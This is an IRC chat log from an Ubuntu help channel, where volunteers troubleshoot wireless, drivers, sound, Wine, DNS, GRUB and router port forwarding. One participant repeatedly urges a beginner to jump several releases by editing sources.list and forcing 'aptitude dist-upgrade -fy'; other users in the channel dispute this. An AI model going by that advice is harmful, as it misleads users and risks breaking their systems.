[04:28] <Pelo> Oni-Dracula,  did you search for "logitech revolution" in the forum ? www.ubuntuforums.org
[04:28] <Oni-Dracula> Pelo, no duh....
[04:28] <pike__> monkeyBox: btw i installed linux on my 5.5 gen ipod. it dual boots the apple os and youd never know its on there
[04:28] <monkeyBox> pike__:   I know how to flash the firmware,  I need to actually _get_ the firmware...
[04:28] <pike__> monkeyBox: ah
[04:28] <Flannel> noor: Give specific information about your problem, and someone will answer.
[04:28] <kiaran> Anyone have a clue why I'd get two password prompts when logging into my Fiesty laptop? And no I am not typing the password incorrectly.
[04:28] <monkeyBox> pike__:  apple's website doesn't allow you to download it except via itunes
[04:29] <nickrud> Oni-Dracula: googling logitech mx revolution linux pulls up a lot of stuff
[04:29] <noor> Flannel that is the problem i dont know how i can be more spacific
[04:29] <tatters> trying to setup a application its asking for my domain name , I have a host name but how can I create a domain name for lan?
[04:29] <burns> Oni-Dracula: http://googlemyway.com/searchgoogle.php
[04:30] <robbomx> h1st0: robbomx@cozierfamily-desktop:~$ wineboot
[04:30] <robbomx> err:wineboot:pendingRename couldn't get file attributes (2)
[04:30] <robbomx> err:wineboot:runCmd Failed to run command L"C:\\Program Files\\TweakWindow\\TweakWin.exe" (2)
[04:30] <robbomx> err:wineboot:ProcessRunKeys Error running cmd #0 (2)
[04:30] <Oni-Dracula> burns, you're a funny one...
[04:30] <burns> that was no joke ... it's very helpful
[04:30] <rafaelscj> noor, what was you trying to do?
[04:31] <nickrud> Oni-Dracula: one of which leads to http://ubuntuforums.org/showthread.php?p=2727025
[04:31] <noor> rafaelscj i tried to put this text file in home but i got a permission error :(
[04:31] <Oni-Dracula> nickrud, thanks..that's what I was looking for
[04:31] <h1st0> robbomx: you may want to ask in #winehq how to recreate the menus but your files are still there in your home folder the .wine directory
[04:32] <tanuki33> Anyone have a moment to give me a hand with an ifconfig problem??
[04:32] <h1st0> !ask | tanuki33
[04:32] <Ubotu> tanuki33: Don't ask to ask a question. Just ask your question :)
[04:32] <mneptok> kiaran: is one of the prompts for the GNOME keyring?
[04:32] <patrickneville> whats the easiest way to get wpa support?
[04:32] <tanuki33> HELP... I have used "sudo ifconfig  abcX down" to stop every adapter before "sudo madwifi-unload.bash" and I still get "FATAL: Module wlan is in use"... can anyone help? I have even physically removed the adaptors.
[04:32] <h1st0> !wpa | patrickneville
[04:32] <Ubotu> patrickneville: Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[04:32] <mneptok> patrickneville: WPA support is included. does your card support WPA?
[04:32] <robbomx> h1st0: so basically u have Wine 0.9.43, but i cant wineboot?
[04:33] <robbomx> h1st0: and my game should work now??
[04:33] <patrickneville> it says it does not
[04:33] <patrickneville>  help wih wireless card to use wpa  http://pastebin.com/m6ed47cb6
[04:33] <kiaran> after the login i do get prompted for the Keyring but this is at the login screen
[04:33] <patrickneville> thats the pastebin i had showing my card, ive been trying to get it to work but its not
[04:33] <h1st0> robbomx: wineboot starts the programs that run on windows startup it should also recreate the menus from my understanding
[04:33] <mneptok> patrickneville: if the hardware does not support WPA, game over.
[04:33] <abadtooth> Hey guys, I have a A open 5 button mouse with browser back-forwards buttons, they work in windows, but now ubuntu.. does anyone know how to or if it's possible to bind them to work with FireFox as browser back-Forwards keys?
[04:33] <rafaelscj> noor, in /home/user_name/ or /home/?
[04:33] <fixeer> my load halts at NetworkManager, loading stage 5 of my eth0. when i boot into recovery it works fine though, what could be wrong?
[04:33] <h1st0> robbomx: if you opena  temrinal and cd .wine  there should be a program files directory in there where wow is installed.
[04:33] <noor> /home/
[04:34] <nickrud> !mouse | abadtooth
[04:34] <Ubotu> abadtooth: Enabling extra mouse buttons: https://help.ubuntu.com/community/ManyButtonsMouseHowto  - Enabling serial mouse: https://help.ubuntu.com/community/SerialMouseHowto
[04:34] <patrickneville> theres no way if ubuntu doesnt support it out of box, but does in windows to get it to work?
[04:34] <h1st0> robbomx: if you just type in wine <pathtowow.exe>  it will run wow
[04:34] <noor> rafaelscj  /home/
[04:34] <spuddogg_> ATI's 8.41 driver is really nice...glxgears gets 78912 frames in 5.0 seconds = 15782.271 FPS   (yes, i know it is not a benchmark)
[04:34] <abadtooth> nickrud:  thanks
[04:34] <mneptok> patrickneville: can Windows form a *WPA* connection with that cald?
[04:34] <patrickneville> and the video card im having trouble with its a via technologies card
[04:34] <mneptok> *card
[04:34] <dhgwill> I just installed nVidia + beryl, but now beryl is running ... glitchy, for lack of a better word. seems faster, except bumpier than it was with my plain old non-accelerated intel chip. any ideas why?
[04:34] <h1st0> patrickneville: wpa works if you read the link from ubotu
[04:34] <patrickneville> okay ill look at the link thanks h1st0
[04:35] <h1st0> patrickneville: you really need to read th wiki will answer all your problems
[04:35] <patrickneville> ive been reading it for a while haha maybe im missing something but ill look again thanks
[04:35] <rafaelscj> noor, to write in /home/ you will need to access as root
[04:35] <tanuki33> well... just in case anyone is thinking about the question I asked I am going to reboot into safe mode and try from there. if it no workee i will be backee
[04:35] <rockets> anybody reccomend any of the RTS games in the repositories?
[04:35] <dhgwill> glxgears reports 2000 fps
[04:36] <dhgwill> rockets: i was reading the ubuntu gaming blog today, check that out.
[04:36] <pike__> rockets: wesnoth
[04:36] <noor> rafaelscj  how would i access to root? i mean im the only user in this comp
[04:36] <pike__> rockets: er not rts nm
[04:36] <rockets> pike_, i dont like wesnoth
[04:36] <rockets> dhgwill, link?
[04:36] <h1st0> !sudo | noor
[04:36] <dhgwill> er, i don't know exactly, go to ubuntuforums and click on the gaming link... rockets...
[04:36] <Ubotu> noor: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[04:36] <nickrud> noor: when someone says 'home' they actually are talking about /home/<user>
[04:37] <noor> nickrud ohhhh lets try it then :D
[04:37] <Flannel> noor: What errors do you get specifically?
[04:37] <noor> flannel permission error to place stuff in /home/
[04:37] <Flannel> noor: Or rather, ignore that.  What are you trying to put in /home/?
[04:38] <stoned> maybe ubuntu should create shortcuts and folders called My Documents,My Pictures etc. etc.
[04:38] <noor> flannel a text file i saw in digg they said my font would look smoother if i did it
[04:38] <Flannel> noor: They don't mean /home/ they mean /home/username/
[04:38] <nickrud> stoned: file a wishlist bug  :)
[04:38] <noor> flannel yeah lol just found out TY every one
[04:38] <Flannel> noor: YOUR home folder is /home/username, /home/ is the place that holds everyone's home folder
[04:38] <rockets> dhgwill, http://gaming.gwos.org/doku.php ?
[04:39] <dhgwill> rockets yeah that's the one. it was surprisingly fancy... the games were anyway.
[04:39] <pike__> noor: echo $HOME  or ~
[04:39] <nickrud> I think he got it
[04:39] <fixeer> my load halts at NetworkManager, loading stage 5 of my eth0. when i boot into recovery it works fine though, what could be wrong?
[04:40] <nickrud> fixeer: probably a mis config in your network manager applet
[04:40] <fixeer> nothing has been changed since i was last on
[04:40] <don_pucci> im getting so annoyed with this freezing
[04:41] <rosales70> hi i am new to ubuntu and i have a ?
[04:41] <fixeer> it should at least tell me what is wrong instead of halting
[04:41] <nickrud> network manager really sucks at times. there were not useful messages from tail -f /var/log/syslog  ?
[04:41] <Flannel> !ask | rosales70
[04:41] <Ubotu> rosales70: Don't ask to ask a question. Just ask your question :)
[04:42] <fixeer> nothing useful
[04:42] <root__> how do i delay a command to run at a certain time ?
[04:42] <savetheWorld> root__: see man cron
[04:42] <Flannel> root__: like cron?
[04:42] <rosales70> My wireless broadcom 4306 work only to browse my local network but it won't allow me to browse the internet
[04:42] <rosales70> any ideas
[04:42] <jrib> root__: at if you want to do it once, cron if you want it to repeat
[04:43] <don_pucci> anyone else experience system freeze on user logout?
[04:43] <jrib> root__: and don't irc as root...
[04:43] <nickrud> fixeer: I would get something about dhcp failing, which led me to using /etc/network/interfaces and thereby bypassing netmanager
[04:43] <root__> I want to run aptitude precisly 2 hours from now
[04:43] <jrib> root__: to do what?
[04:43] <root__> I don't know the command to do this
[04:43] <root__> anyone awake to help me ?
[04:43] <jrib> root__: what exactly do you want to accomplish?
[04:44] <dug_> rosales70: has your wireless connection worked before with other networks?  are you connecting from home (like with a router)?
[04:44] <root__> ok
[04:44] <root__> all asleep
[04:44] <root__> ;-)
[04:44] <jrib> root__: ... you need to answer questions so that others can help you
[04:44] <root__> o man
[04:44] <root__> everything just.. blew up
[04:44] <spuddogg_> anyone know of a good gfx benchmark for ubuntu?
[04:44] <root__> the channel just came to life!
[04:45] <dug_> root__: i think they already answered you ,see "man at" or "man crontab"
[04:45] <markgreene> Hey guys. Is there an alternative to Firefox that is comparable?
[04:45] <root__> must be bitchx
[04:45] <rosales70> yes i can connect to other router and use the internet but it does not let me use the internet on my onw router
[04:45] <noor> hey guys welll the font thing worked THX!!!!
[04:45] <root__> dug__ yea , sorta
[04:45] <xtknight> markgreene, epiphany, galeon, or opera
[04:45] <root__> but I want to run this from telinit 1
[04:45] <rafaelscj> root__, DNS's IP would be wrong
[04:45] <markgreene> xtknight: Would you reccomend them in that, or no particular, order?
[04:45] <nickrud> noor: how about a link, I might like to check that out
[04:45] <Flannel> root__: what are you trying to ultimately accomplish?
[04:45] <noor> nickrud:sure man one sec
[04:45] <xtknight> markgreene, is firefox unsuitable for you for some reason?  if so, which reason is that?
[04:46] <noor> nickrud: http://digg.com/linux_unix/UBUNTU_How_To:_Make_your_fonts_smooth_enough_to_drool_over.
[04:46] <root__> run my aptitude updates after my lil bro gets off using his share of the bandwidth
[04:46] <root__> neer midnight here
[04:46] <nickrud> noor: thanks
[04:46] <root__> I wanna get some sleep
[04:46] <markgreene> xtknight: I have found that it uses more memory and takes more time to complete operations than other browsers I have used.
[04:46] <noor> nickrud:ty you also XD
[04:46] <dug_> rosales70: you can connect to your router with your web browser, it might be at an IP like http://192.168.0.1/ or something similar (see manual).  either router is disallowing you to connect, or network is temporarily down
[04:46] <markgreene> xtknight: It's just slugish I guess.
[04:46] <noor> guys i need help installing .....INTERNET EXPLORER :O
[04:46] <root__> dooing this in telinit 1 understand
[04:47] <xtknight> markgreene, well i think epiphany-browser is very fast
[04:47] <root__> NO CRON
[04:47] <nickrud> noor: no link :)
[04:47] <spuddogg_> noor: that link is no good
[04:47] <xtknight> markgreene, opera is, but epiphany is lighter and it's based on firefox
[04:47] <root__> noor : google wine-doors
[04:47] <mudge> hello
[04:47] <Flannel> root__: Why do you want to do it in init1?
[04:47] <noor> what? link no god? one sec
[04:47] <root__> because I do
[04:47] <noor> nickrud: http://ubuntuforums.org/showpost.php?p=16896&postcount=1
[04:47] <markgreene> xtknight: Can epiphany support flash player and other media extensions?
[04:47] <noor> lets hope that one work's
[04:47] <root__> because I am doing this from telinit one
[04:47] <xtknight> markgreene, yup it has an ad blocker extension also, not sure how flexible that is though
[04:47] <root__> its faster on my machiner
[04:47] <mudge> all of a sudden my sound isn't working and i'm getting the error message: No volume control GStreamer plugins and/or devices found
[04:48] <kidbuntu> !firefox
[04:48] <root__> disableing all the crap
[04:48] <mudge> I'm running fiesty fawn
[04:48] <xtknight> markgreene, konqueror is nice but it doesn't blend in perfectly with GNOME.  epiphany for speeds and firefox for flexibility
[04:48] <mudge> anyone know how to fix it?
[04:48] <Ubotu> firefox is the default web-browser on Ubuntu. To install the latest version, see https://help.ubuntu.com/community/FirefoxNewVersion Installing plugins: https://wiki.ubuntu.com/FirefoxPlugins
[04:48] <noor> root__ i will
[04:48] <don_pucci> anyone else experience complete system freeze after logging off user?
[04:48] <mudge> hello
[04:48] <rosales70> see i already check my router and it shows that i am attached to it, if i go to network manager i get an ip address, was really wierd is that i can connect to a unsecure router and it works ok
[04:48] <mudge> is there anyone that might be able to help me with my sound problem?
[04:48] <root__> so how without cron do I pass bash a command to execute another command sometime from now?
[04:48] <don_pucci> just ask mudge
[04:49] <markgreene> xtknight: K. I will give epiphany a try. Thanks for the advice
[04:49] <pteague> anybody know what a 'd' in 2 column of aptitude means?
[04:49] <mudge> okay,  my sound is suddently not working at all,  and I get there error No volume control GStreamer plugins and/or devices found
[04:49] <mudge> any suggestions of what i should try?
[04:49] <mudge> my sound was working fine yesterday
[04:50] <rafaelscj> mudge, did you install any updates?
[04:50] <mudge> i have been doing that recently, yea
[04:51] <rosales70> dug i can also ping googles ip adress but it will not let me ping the name google
[04:51] <don_pucci> anyone else experience complete system freeze after logging off user?
[04:51] <dug_> i had to uninstall U3 crud from a flash drive today (in windows).  Just curious, is there a way to do it in ubuntu?
[04:51] <don_pucci> you have no dns settings rosales
[04:51] <noor> root__  i installed wine doors care to tell me how to install IE now or should i google it 0_o
[04:51] <mudge> hello
[04:51] <mudge> does anybody in here know about sound?
[04:51] <gaby> hi, need help with my music player
[04:52] <gaby> were can i download the plugins for it
[04:52] <dug_> rosales70: oh ok, that means that dns is not working.  that is the fault of your internet service provider.  it usually is temporary.
[04:52] <don_pucci> why on gods green earth would u want to install IE in linux
[04:52] <mrspinx> gaby what music player?
[04:52] <rafaelscj> !plugins
[04:52] <Ubotu> Sorry, I don't know anything about plugins - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[04:52] <don_pucci> rosales....did u enter your dns settings
[04:52] <root__> don
[04:53] <Sajes> don_pucci, there's IEs4Linux.
[04:53] <root__> IE is sometimes needed
[04:53] <root__> now
[04:53] <gaby> look, i know im going to be the stuped one here, thing is , i just started with linux, all i know is that i installed ubuntu 5.04 :$
[04:53] <root__> just run wine-doors
[04:53] <don_pucci> if u say so
[04:53] <rosales70> dug i am using my dsl connection right now so i know it's not down
[04:53] <root__> its a script
[04:53] <root__> gaby
[04:53] <root__> your ok
[04:53] <root__> just upgrade
[04:53] <don_pucci> rosales....
[04:53] <gaby> thanks
[04:53] <don_pucci> did u enter dns info?
[04:53] <gaby> were can i do that?
[04:53] <mudge> does anybody know how to fix sound problems?
[04:53] <root__> replace all the hoary's in /etc/apt/sources.list with feisty
[04:53] <root__> do it with sudo
[04:54] <rosales70> don_pucci my router is set up for dhcp, do you think i should enter the dns manually
[04:54] <root__> sudo gedit /etc/apt/sources.list
[04:54] <newdude> hey ppl i just installed the new ati driver now i cant log into ubuntu cause it says failed to load x server
[04:54] <don_pucci> does it show dns from your isp?
[04:54] <root__> then when youve changed em all
[04:54] <don_pucci> in your router status
[04:54] <newdude> im running off the ubuntu live cd now
[04:54] <root__> run aptitude dist-upgrade -fy
[04:54] <newdude> how do i set my x server thingy back to deafault?
[04:54] <nickrud> what! root__ that's a bad idea, going from hoary to feisty in one jump
[04:54] <root__> as sudo
[04:54] <root__> I did it
[04:54] <root__> !!!!
[04:55] <root__> I did it
[04:55] <rosales70> no it shows 192.168.0.1 as the dns server
[04:55] <root__> and it worked
[04:55] <newdude> :S
[04:55] <jrib> !enter | root__
[04:55] <Ubotu> root__: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[04:55] <nickrud> root__: brave man
[04:55] <root__> replaced everything
[04:55] <root__> but it worked
[04:55] <don_pucci> no...that is not your dns server...u need to change router to have dns servers
[04:55] <terlmann> ;-)
[04:55] <jrib> root__: still, that isn't the recommended method and depending on your hoary install will probably fail
[04:55] <dhgwill> all fixed.
[04:55] <terlmann> Im on here from telinit one
[04:55] <terlmann> bitchx
[04:55] <rafaelscj> mudge, when I did upgrades, the same happaned
[04:55] <newdude> anyone know how to set the display or 'x server' back to default please? ive really stuffed things up :s
[04:55] <don_pucci> is your system setup for dhcp from router?
[04:55] <terlmann> jrib : it works if you dont update.
[04:55] <rosales70> yes it is
[04:56] <newdude> the new ati driver stops me from loggin into ubuntu now :S
[04:56] <newdude> i uninstalled it
[04:56] <terlmann> especially if the user is in DEEP HACK MODE.
[04:56] <gaby> ok root
[04:56] <newdude> but now i cant boot into the gui at all now :S
[04:56] <gaby> was all that for me??
[04:56] <don_pucci> ok...and what is your WAN settings show for dns in your router
[04:56] <noor> nickrud so howd it go?
[04:56] <terlmann> gaby ,, so now you changed the sources right ?
[04:56] <nickrud> noor: got it in place, will log out later to check. Thanks
[04:56] <mudge> hello,  anyone have any suggestions with my sound problem,  i get this error:No volume control GStreamer plugins and/or devices found
[04:56] <terlmann> now run sudo aptitude -u
[04:56] <noor> nickrud oh ok
[04:57] <newdude> anyone?
[04:57] <newdude> im so sick of having to reinstall :S
[04:57] <rosales70> don_pucci and i can connect to another wireless  router and it works ok
[04:57] <jrib> gaby: do not do that.  terlmann stop recommending that.
[04:57] <terlmann> I did it
[04:57] <nickrud> noor: had to re-register with the forums, I hadn't posted anything there in so long I forgot my password, and my nick was on an old email ...
[04:57] <terlmann> it will work
[04:57] <terlmann> trust me
[04:57] <don_pucci> yes...becuase the other router is properly configured
[04:57] <jrib> !worksforme | terlmann
[04:57] <Ubotu> terlmann: Common Sense: Just because you can, does not mean you should (and especially recommend to others). Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability. Please see http://geekosophical.net/random/worksforme/
[04:57] <don_pucci> yours is not
[04:57] <terlmann> I am an ELITE user
[04:57] <gaby> ah....
[04:57] <terlmann> I use gutsy too
[04:57] <newdude> anyone?
[04:57] <gaby> come on people some help here
[04:57] <newdude> please
[04:57] <epiclulz> anyone know how to get guild wars working in ubuntu?
[04:57] <don_pucci> gaby...
[04:57] <noor> im using ubuntu 6.06 is their a way to manually install the latest ubuntu OS with out having to waste a CD? 0_o
[04:58] <nickrud> terlmann: you were one ungodly lucky putz ;)
[04:58] <don_pucci> dont expect to get help instantly
[04:58] <terlmann> gaby , you can do it. just dont complain if it doesnt work
[04:58] <don_pucci> have patience or go ask in the forusm
[04:58] <Nighteye> sup?
[04:58] <Larry1981> Hi, is there any software to test the signal strength of a specific MAC address ? Or a way to turn my laptop into an unsecured wireless "router" so I can test the strenght of signal from people that try to connect to it ?
[04:58] <terlmann> and do whatever I say multiple times!
[04:58] <daedalus__> hello
[04:58] <mudge> anyone know how to solve a ubuntu sound problem?
[04:58] <terlmann> now run sudo aptitude -u
[04:58] <jrib> gaby: you need to upgrade to the next release one by one.  This means you would need to got to breezy first, then dapper, edgy, and feisty.  It may be faster to do a fresh install, but ubotu will send you instructions
[04:58] <jrib> !upgrade > gaby (see the private message from ubotu)
[04:58] <terlmann> when that finished run aptitude dist-upgrade -fy and DO NOT REBOOT
[04:58] <terlmann> do it a few times
[04:58] <nickrud> Larry1981: there's kismet , but it won't work with an ndiswrapped driver
[04:58] <Nighteye> I'll think about it
[04:58] <mudge> anybody know how to solve this problem?  No volume control GStreamer plugins and/or devices found
[04:59] <noor> any one? i wanna update to version 7 :D
[04:59] <don_pucci> rosales...your router needs to have DNS (primary and secondary) for your WAN...
[04:59] <rosales70> could it make a difference if i have a wireless router connected to a dsl router from verizon, even know this setup work ok inmy wired network or xp
[04:59] <Larry1981> !upgrade > Larry1981
[04:59] <gaby> ok
[04:59] <don_pucci> it should get from ISP, but if not, then enter manually
[04:59] <julian2495322> could my wireless card be causing a bottleneck in my internet connection
[04:59] <nickrud> !upgrade > noor
[04:59] <Larry1981> nickrud: Thank you, i'll try that :)
[04:59] <newdude> erm i installed the new ATI driver and now i cant log in at all cause the x-server(i think thats what its called) says theres an error, so i cant boot into the gui at all now, running off the live cd atm, how do i fix it? ive uninstalled the ati driver through the safe mode boot btw
[04:59] <gaby> ummm, were do i go to download the lattest version of ubuntu
[04:59] <mudge> anybody know how to solve this problem?  No volume control GStreamer plugins and/or devices found
[04:59] <noor> nickrud so i run that in terminal?
[04:59] <don_pucci> gaby...ubuntu.com
[04:59] <don_pucci> lol
[05:00] <gaby> i mean, i just installed it and i can install it again, i removed windows cause, its just nothing compared to linux,
[05:00] <babyTux> can anyone tell me how to put a launcher on my desktop for the trash?
[05:00] <nickrud> noor: the info should have showed up in another tab
[05:00] <rafaelscj> mudge, right-click on sound's icon, then select proprier.., try chosing "Front"
[05:00] <don_pucci> anyone else experience complete system freeze after logging off user?
[05:00] <babyTux> I can do it for my panel
[05:00] <noor> nickrud THX
[05:00] <babyTux> but I can't figure out how to put it on the desktop
[05:00] <gaby> i went to ubuntu.com but it takes me to one page an another and honestly could fain anythign to download for fresh installe version
[05:00] <rosales70> don_pucci so do i ust enter the dns in the network manager
[05:00] <nickrud> Larry1981: I'm not sure if that will do exactly what you want, but it's a real good tool for wireless detection
[05:01] <mudge> rafaelscj:  thanks,  when I click on properies, nothing happens
[05:01] <mudge> properties
[05:01] <nickrud> don_pucci: sure, with the fglrx driver
[05:01] <don_pucci> rosales...i woulod enter DNS in your router...and since your machine is dhcp...it should get those setting from royuter
[05:01] <mudge> the box disappears and that is it
[05:01] <newdude> erm i installed the new ATI driver and now i cant log in at all cause the x-server(i think thats what its called) says theres an error, so i cant boot into the gui at all now, running off the live cd atm, how do i fix it? ive uninstalled the ati driver through the safe mode boot btw
[05:01] <gaby> mrspinx
[05:01] <dug_> rosales70: it sounds like the problem is with your isp.  you might try unplugging and re-plugging in the router and modem, and pushing the reset button on the modem if there is one
[05:01] <don_pucci> nickrud...what is that?
[05:01] <rosales70> ok thanks i will try that
[05:01] <don_pucci> np
[05:01] <don_pucci> good luck
[05:01] <gaby> mrspinx in answer to the question i found it was rhythmbox 0.8.8
[05:01] <don_pucci> it does not hurt to enter them in netmanager too
[05:02] <nickrud> don_pucci: a video driver: if it was your reason, you'd have recognized it. So, I guess that's not your issue
[05:02] <xaut> HELP
[05:02] <rafaelscj> gaby, I like to do a flesh install instead of upgrading
[05:02] <don_pucci> nickrud..it happens when a second user logs off...
[05:02] <don_pucci> it never happens on this profile
[05:02] <rosales70> thanks a lot
[05:02] <don_pucci> np
[05:02] <don_pucci> let me know
[05:03] <newdude> erm i installed the new ATI driver and now i cant log in at all cause the x-server(i think thats what its called) says theres an error, so i cant boot into the gui at all now, running off the live cd atm, how do i fix it? ive uninstalled the ati driver through the safe mode boot btw
[05:03] <nickrud> newdude: try   sudo dpkg-reconfigure -phigh xserver-xorg    in the console,  and choose the ati driver (it's not fglrx)
[05:03] <newdude> cool ty
[05:03] <rafaelscj> mudge, I think alsa was updated, and stops to work
[05:03] <rosales70> ok
[05:03] <newdude> i ahve to do it all by terminal in safe boot though i got no gui anymore, :S
[05:04] <Tsukasa> hey guys, what block size is ideal for installing / onto on a raid-0 setup?
[05:04] <nickrud> newdude: when you boot to a broken gui,  hit clt-alt-f1  it'll get you a terminal you can work from
[05:04] <newdude> sweet ty
[05:04] <nickrud> newdude: most of the time, that is
[05:05] <Tsukasa> anyone know?
[05:05] <avt3kk> guys how do I play wmv in dapper drake?
[05:05] <jrib> !wmv > avt3kk (see the private message from ubotu)
[05:05] <codeshah> anyone here have experience syncing & powering an ipod on uBUNTU? ... do I have to reboot to Windows whenever I wanna sync?
[05:05] <babyTux> can anyone tell me how to put the trash applet that's usually on the panel on the desktop?
[05:05] <jrib> !icons > babyTux (see the private message from ubotu)
[05:05] <don_pucci> the system log is too complex
[05:05] <don_pucci> :(
[05:05] <reflous> is there any pdf prog that you can use to edit pdfs?
[05:06] <nickrud> codeshah: gtkpod can do that for you
[05:06] <rafaelscj> reflous, openoffice....?
[05:06] <nickrud> reflous: there's pdfedit , but it's still pretty limited
[05:06] <Tsukasa> what block size is ideal for installing / onto on a raid-0 setup?
[05:06] <Tsukasa> what block size is ideal for installing / on in raid 0
[05:06] <Tsukasa> ick
[05:07] <noor> how do i find out what version linux i have?
[05:07] <codeshah> nickrud, is it safe?
[05:07] <Tsukasa> thank you xchat
[05:07] <reflous> rafaelscj, openoffice lets you modify a pdf?
[05:07] <don_pucci> anyone else experience complete system freeze after logging off user?
[05:07] <user01> if i download gutsy now will it update automatically to release in a month?
[05:07] <Luke> How do I select which version of javac is used?
[05:07] <nickrud> codeane_: I've used it a dozen times or so, on someone elses ipod :)  never broke anything
[05:07] <safruhani> hello , what are the meaning of distribution's name like Warty Warthog , Feisty Fawn or are there meaningfully ?
[05:07] <rafaelscj> reflous, i think only create
[05:08] <rafaelscj> reflous, but you cold recreate
[05:08] <noor> any one know how i can find out what version i have?
[05:08] <nickrud> codeshah: I hear also that amarok can handle an ipod
[05:08] <rafaelscj> could*
[05:08] <xaut> hello
[05:08] <noor> of ubuntu
[05:08] <codeshah> nickrud, thanks
[05:08] <nickrud> user01: it'll update daily ; you should ask gutsy questions on #ubuntu+1
[05:08] <avt3kk> will noatun work?
[05:09] <user01> safruhani:  sounds like they heyre just going for consnance
[05:09] <nickrud> safruhani: sense of humor
[05:09] <_joe> hi all, i have a friend who accidentally deleted the NTFS partition that he *was* using to boot into ubuntu (using the nt loader)...he's in ubuntu at the moment. what's the easiest way to get grub installed and configured?
[05:10] <rafaelscj> !grub
[05:10] <Ubotu> grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[05:10] <nickrud> _joe: sudo update-grub && sudo grub-install /dev/hda  or /dev/sda , depending
[05:10] <_joe> nickrud: thanks :)
[05:10] <nickrud> _joe: if he has windows on there, it may miss it. If so, ask again
[05:11] <Luke> How do I select which version of javac is used?
[05:11] <user01> my load time takes forever seems to freeze on the splash screen a long time
[05:11] <nickrud> Luke: sudo update-alternatives --config java should cover that, I think
[05:11] <Luke> nickrud: thnks
[05:11] <cozby_> um ok, where the hell is gcc?
[05:12] <Flannel> cozby_: Did you install it yet?
[05:12] <cozby_> i just installed this ubuntu jazz and no gcc?
[05:12] <user01> user01:  ever since i upgraded to feisty
[05:12] <cozby_> Flannel: it doesn't come with it?
[05:12] <nickrud> cozby_: you need to run sudo aptitude install build-essential , it will give you that and make, a few other things
[05:12] <Flannel> cozby_: Not by default, no.  Most people don't need to compile anything.  Install the build-essential apckage, and you'll have the whole toolchain.
[05:12] <cozby_> that is friggen retarded
[05:12] <cozby_> but thank you
[05:12] <user01> is it best just to start from scratch with a new release?
[05:12] <safruhani> user01 nickrud ok and sure they are sounds nice
[05:12] <Flannel> cozby_: No, it's because most people don't ever need to touch a compiler.
[05:12] <sye|xe`10> are there any large problem with the Dell 1420n that everyone is having?
[05:12] <cozby_> no linux should come without the essentials.. thats why they call it essential
[05:13] <nickrud> 'build' essential ;)
[05:13] <user01> i wonder if there will be a quilly quilt release
[05:14] <nickrud> user01: not unless someone re-animates a quilt, I would think
[05:14] <user01> oh quilly quail then
[05:14] <user01> zany zebra
[05:14] <jrib> !names > user01 (see the private message from ubotu)
[05:14] <Sajes> nickrud, Quilts were never animated- How do you RE-animate something that's never been animated before ;)
[05:14] <jrib> user01: add your suggestion
[05:14] <nickrud> I was kinda looking for g gnu, but heh
[05:14] <Sajes> !names > Sajes
[05:15] <user01> depends what you made your quilt out of
[05:15] <nickrud> Sajes: cotton, my friend was alive once
[05:15] <Sajes> Guess you're right. :( I fail.
[05:15] <robbomx> Has anyone here played Tony Hawk Pro Skater 3 Online on Linux?
[05:15] <Moniker42> firefox doesn't seem to be rendering my fonts properly, the edges of black text is slightly coloured... anyone know what's causing that?
[05:15] <user01> maybe you have a buffalo bill quilt like in silence of the lambs
[05:15] <Moniker42> !wine > robbomx
[05:15] <nickrud>  Moniker42 if you ever find out, let me know too
[05:16] <Moniker42> nickrud, are you on 64bit ubuntu by any chance?
[05:16] <safruhani> user01: nickrud are you joking?
[05:16] <h34v3nz> Im a new linux user, i downloaded the ubuntu.iso burned it to a disc and restarted. the disc is fine and then when it gets to the ubuntu startup screen the disc light keeps lighting but nothing happens (for hours) anybody know why?
[05:16] <nickrud> Moniker42: no, I went back to 32bit for ease
[05:16] <nickrud> safruhani: probably, I do that too much. Which one?
[05:17] <demolitio> h34v3nz: have you had problems with your disc drive before?
[05:17] <xaut> quit
[05:17] <h34v3nz> well, in windows vista it kicked the drive out of the system till i modified some registry values but other than that no
[05:17] <safruhani> nickrud:  about names of the versions
[05:18] <h34v3nz> i regularly install other apps through my cd drive... and i can use the flax live cd to get on but thats about all i use a boot disc for
[05:18] <nickrud> Sajes: no, the names are really just supposed to be fun code names, the real names are 6.06, 7.04, etc
[05:19] <sye|xe`10> is there a general fix or something for '/bin/sh: can't access tty; job control turned off'
[05:19] <safruhani> hmm thanks myfriend
[05:19] <h34v3nz> oh sorry, i shouldve directed those questions to Demolitio
[05:19] <h34v3nz> or those querys....
[05:20] <robbomx> I will ask again, Has anybody played Tony Hawks Pro Skater 3 Online on Linux
[05:21] <xp_killer> maybe
[05:21] <robbomx> Because when i try to get on an available server, it says Connecting to Server... then after like 3mins.. it says you are behind a firewall
[05:21] <demolitio> h34v3nz: hmm... i'm kind of new myself, but just so I understand, this boot screen is halting when it's booting to the partition, and not when it's still booting off the disc?
[05:21] <robbomx> please turn it off. and then i turn it off
[05:22] <robbomx> it dont work! lol
[05:23] <demolitio> h34v3nz: and which disc light are we talkign about: the rom or the HD?
[05:23] <nickrud> sye|xe`10: this forum post lists several different fixes, it appears to depend on your hardware http://ubuntuforums.org/showthread.php?t=421588&page=7
[05:24] <nickrud> robbomx: are you behind a router?
[05:24] <kersinc> #ubuntu-es
[05:25] <rafaelscj> > sudo shutdown 20:30 < :)
[05:25] <nickrud> rafaelscj: force yourself to go to bed?
[05:25] <robbomx> nickrud, yes.
[05:25] <Evanlec> lol
[05:25] <nickrud> robbomx: your router has a firewall; you need to fix that one
[05:25] <robbomx> nickrud, however, the other computer, which is windows, can access the game..
[05:26] <robbomx> nickrud, i.e Play online.
[05:26] <Evanlec> robbomx, your ports are probably forwarded to your windows machine, forward them to your ubuntu box ;)
[05:26] <nickrud> robbomx: does it have a port forwarded?
[05:26] <robbomx> nickrud, how do i port forward?! lol ive been trying to do this!
[05:27] <Evanlec> robbomx, www.portforward.com
[05:27] <nickrud> it was you!  I don't know your router; I just point my browser at the router and mess with the settings
[05:27] <Evanlec> yea, the address is probably 192.168.1.1 or 192.168.0.1
[05:28] <nickrud> or 192.168.0.254 or 192.168.1.254 (seen those, too)
